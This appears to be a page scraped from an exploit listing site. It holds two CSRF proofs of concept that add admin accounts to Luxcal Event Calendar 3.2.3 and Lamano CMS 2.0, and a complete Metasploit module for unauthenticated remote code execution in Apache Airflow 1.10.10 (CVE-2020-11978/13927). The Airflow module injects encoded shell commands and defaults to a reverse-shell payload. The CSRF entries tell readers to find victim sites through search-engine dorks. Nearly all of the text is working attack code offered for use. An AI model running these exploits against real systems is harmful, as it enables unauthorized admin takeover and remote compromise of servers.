Latest exploits :: CodePwn

<pre><code>==================================================================================================================================== | # Title : Luxcal Event Calendar v3.2.3 CSRF Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : https://www.LuxSoft.eu | | # Dork : powered by LuxSoft | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] The following html code create a new admin . [+] Go to the line 2. [+] Set the target site link Save changes and apply . [+] infected file : index.php [+] http://127.0.0.1/q7.3/index.php. [+] save code as poc.html . <html> <form method="POST" name="form0" action="http://127.0.0.1/lux/index.php?lc&editUser=y&uid=add"> <input type="hidden" name="uname" value="tcyber"/> <input type="hidden" name="email" value="g4k@hot.mail"/> <input type="hidden" name="new_pw" value="123456"/> <input type="hidden" name="userRights" value="9"/> <input type='submit' name='addExe' value="Add Profile"> </form> </html> Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : Lamano CMS v2.0 CSRF Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 69.0(32-bit) | | # Vendor : http://www.lamano.lu/ | | # Dork : © 2018 Lamano by easysolutions | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] The following html code create a new admin . [+] Go to the line 8. [+] Set the target site link Save changes and apply . [+] infected file : admin.php [+] http://127.0.0.1/q73/admin.php . [+] save code as poc.html . <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://www.w3.org/2005/10/profile"> </tr> </table> <form action="https://www.sylviebecker.127.0.0.1/lu/admin.php?action=add_user" method="POST"> <table class="modif_utilisateur" border="0" cellpadding="3" cellspacing="0" width="350"> <tr> <td class="tah11" colspan="2" align="center">Nouvel utilisateur : </td> </tr> <tr> <td class="tah11" align="right">Nom d'utilisateur :</td> <td class="tah11" align="left"><input type="text" name="user" class="form-control" value=""></td> </tr> <tr> <td class="tah11" align="right">Mot de passe : </td> <td class="tah11" align="left"><input type="text" name="pass" class="form-control" value=""></td> </tr> <tr> <td class="tah11" colspan="2" align="center"><input class="btn btn-lg btn-primary" type="submit" value="Ajouter"></td> </tr> </table> </form> <div> Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Apache Airflow 1.10.10 - Example DAG Remote Code Execution', 'Description' => %q{ This module exploits an unauthenticated command injection vulnerability by combining two critical vulnerabilities in Apache Airflow 1.10.10. The first, CVE-2020-11978, is an authenticated command injection vulnerability found in one of Airflow's example DAGs, "example_trigger_target_dag", which allows any authenticated user to run arbitrary OS commands as the user running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's Experimental REST API to perform malicious actions such as creating the vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation and command injection, leading to unauthenticated remote code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'xuxiang', # Original discovery and CVE submission 'Pepe Berba', # ExploitDB author 'Ismail E. Dawoodjee' # Metasploit module author ], 'References' => [ [ 'EDB', '49927' ], [ 'CVE', '2020-11978' ], [ 'CVE', '2020-13927' ], [ 'URL', 'https://github.com/pberba/CVE-2020-11978/' ], [ 'URL', 'https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx' ], [ 'URL', 'https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d' ], ], 'Platform' => ['linux', 'unix'], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp' } } ], ], 'Privileged' => false, 'DisclosureDate' => '2020-07-14', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(8080, true, 'Apache Airflow webserver default port'), OptString.new('TARGETURI', [ true, 'Base path', '/' ]), OptString.new('DAG_PATH', [ true, 'Path to vulnerable example DAG', '/api/experimental/dags/example_trigger_target_dag' ]), OptInt.new('TIMEOUT', [true, 'How long to wait for payload execution (seconds)', 120]) ] ) end def check uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login') vprint_status("Checking target web server for a response at: #{full_uri(uri)}") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res return CheckCode::Unknown('Target did not respond to check request.') end unless res.code == 200 && res.body.downcase.include?('admin') && res.body.downcase.include?('_csrf_token') && res.body.downcase.include?('sign in to airflow') return CheckCode::Unknown('Target is not running Apache Airflow.') end vprint_good('Target is running Apache Airflow.') vprint_status('Checking Apache Airflow version...') version_number = res.body.to_s.scan( %r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"} ).flatten.first unless version_number return CheckCode::Detected('Apache Airflow version cannot be determined.') end unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11') return CheckCode::Safe end vprint_status( "Target is running Apache Airflow Version #{version_number}. " \ 'Performing additional checks for exploitability...' ) check_api check_task check_unpaused return CheckCode::Appears end def check_api uri = normalize_uri(target_uri.path, 'api', 'experimental', 'test') vprint_status("Checking if Airflow Experimental REST API is accessible at: #{full_uri(uri)}") res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res && res.code == 200 return CheckCode::Safe('Could not access the Airflow Experimental REST API.') end vprint_good('Airflow Experimental REST API is accessible.') end def check_task uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'tasks', 'bash_task') vprint_status('Checking for vulnerability of "example_trigger_target_dag.bash_task"...') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res && res.code == 200 return CheckCode::Safe( 'Could not find "example_trigger_target_dag.bash_task". ' \ 'Target is not vulnerable to CVE-2020-11978.' ) end if res.get_json_document['env'].include?('dag_run') return CheckCode::Safe( 'The "example_trigger_target_dag.bash_task" is patched. ' \ 'Target is not vulnerable to CVE-2020-11978.' ) end vprint_good('The "example_trigger_target_dag.bash_task" is vulnerable.') end def check_unpaused uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'paused', 'false') vprint_status('Checking if "example_trigger_target_dag.bash_task" can be unpaused...') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res && res.code == 200 return CheckCode::Safe( 'Could not unpause "example_trigger_target_dag.bash_task". ' \ 'Example DAGs were not loaded.' ) end vprint_good('The "example_trigger_target_dag.bash_task" is unpaused.') end def create_dag(cmd) cmd = "echo #{Base64.strict_encode64(cmd)} | base64 -d | sh" uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs') vprint_status('Creating a new vulnerable DAG...') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'ctype' => 'application/json', 'data' => JSON.generate({ conf: { message: "\"; #{cmd};#" } }) }) unless res && res.code == 200 fail_with(Failure::PayloadFailed, 'Failed to create DAG.') end print_good("Successfully created DAG: #{res.get_json_document['message']}") return res.get_json_document['execution_date'] end def await_execution(execution_date) uri = normalize_uri( target_uri.path, datastore['DAG_PATH'], 'dag_runs', execution_date, 'tasks', 'bash_task' ) print_status('Waiting for Scheduler to run the vulnerable DAG. This might take a while...') vprint_warning('If the Bash task is never queued, then the Scheduler might not be running.') i = 0 loop do i += 1 sleep(10) res = send_request_cgi({ 'method' => 'GET', 'uri' => uri }) unless res && res.code == 200 fail_with(Failure::Unknown, 'Bash task state cannot be determined.') end state = res.get_json_document['state'] if state == 'queued' print_status('Bash task is queued...') elsif state == 'running' print_good('Bash task is running. Expect a session if executed successfully.') break elsif state == 'success' print_good('Successfully ran Bash task. Expect a session soon.') break elsif state == 'None' print_warning('Bash task is not yet queued...') elsif state == 'scheduled' print_status('Bash task is scheduled...') else print_status("Bash task state: #{state}.") break end # stop loop when timeout next unless datastore['TIMEOUT'] <= 10 * i fail_with(Failure::TimeoutExpired, 'Bash task did not run within the specified time ' \ "- #{datastore['TIMEOUT']} seconds.") end end def exploit print_status("Executing TARGET: \"#{target.name}\" with PAYLOAD: \"#{datastore['PAYLOAD']}\"") execution_date = create_dag(payload.encoded) await_execution(execution_date) end end </code></pre>